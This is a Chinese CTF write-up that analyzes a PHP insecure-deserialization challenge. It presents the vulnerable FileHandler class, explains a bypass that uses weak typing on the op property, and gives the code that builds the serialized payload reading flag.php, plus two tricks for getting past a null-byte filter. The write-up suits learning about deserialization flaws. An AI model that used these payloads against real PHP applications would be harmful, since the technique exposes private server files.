源码分析
get方法获得str
if(isset($_GET{
'str'})) {
$str = (string)$_GET['str'];if(is_valid($str)) {
$obj = unserialize($str);}}
反序列化赋值给obj
看看这个类
class FileHandler {
protected $op;protected $filename;protected $content;function __construct() {
$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {
if($this->op == "1") {
$this->write();} else if($this->op == "2") {
$res = $this->read();$this->output($res);} else {
$this->output("Bad Hacker!");}}private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {
$this->output("Failed!");}}private function read() {
$res = "";if(isset($this->filename)) {
$res = file_get_contents($this->filename);}return $res;}private function output($s) {
echo "[Result]: <br>";echo $s;}function __destruct() {
if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
类中的成员
op=1 filename content 长度小于100 写文件
op=2 filename 读文件
析构函数 op:2--->1 如果op=2则修改成1,再用空文件写入覆盖,所以不能让他成功执行,由于op==="2"用的是字符串强比较,故而可以利用弱类型比较让op=1 (int型)绕过if判断
构造反序列化
注:类名要相同,成员名字也要相同
class FileHandler
{
protected $op;protected $filename;protected $content;public function __construct($op,$filename,$content){
$this->op=$op;$this->filename=$filename;$this->content=$content;}}$ccc=new FileHandler(2,"flag.php","accc");$key=serialize($ccc);echo($key);
得到
O:11:"FileHandler":3:{
s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:4:"accc";}
绕过过滤
如果是protected则会有无法显示的字符\x00*\x00
,且ascii为0,会被过滤
如果是private则会在变量名前加上\x00类名\x00
一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:echo base64_decode($str);
本题有两种方法绕过过滤
一:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
二:把s改成大写,以16进制表示
重要
php7.1+版本对属性类型不敏感
类名要相同,成员名字也要相同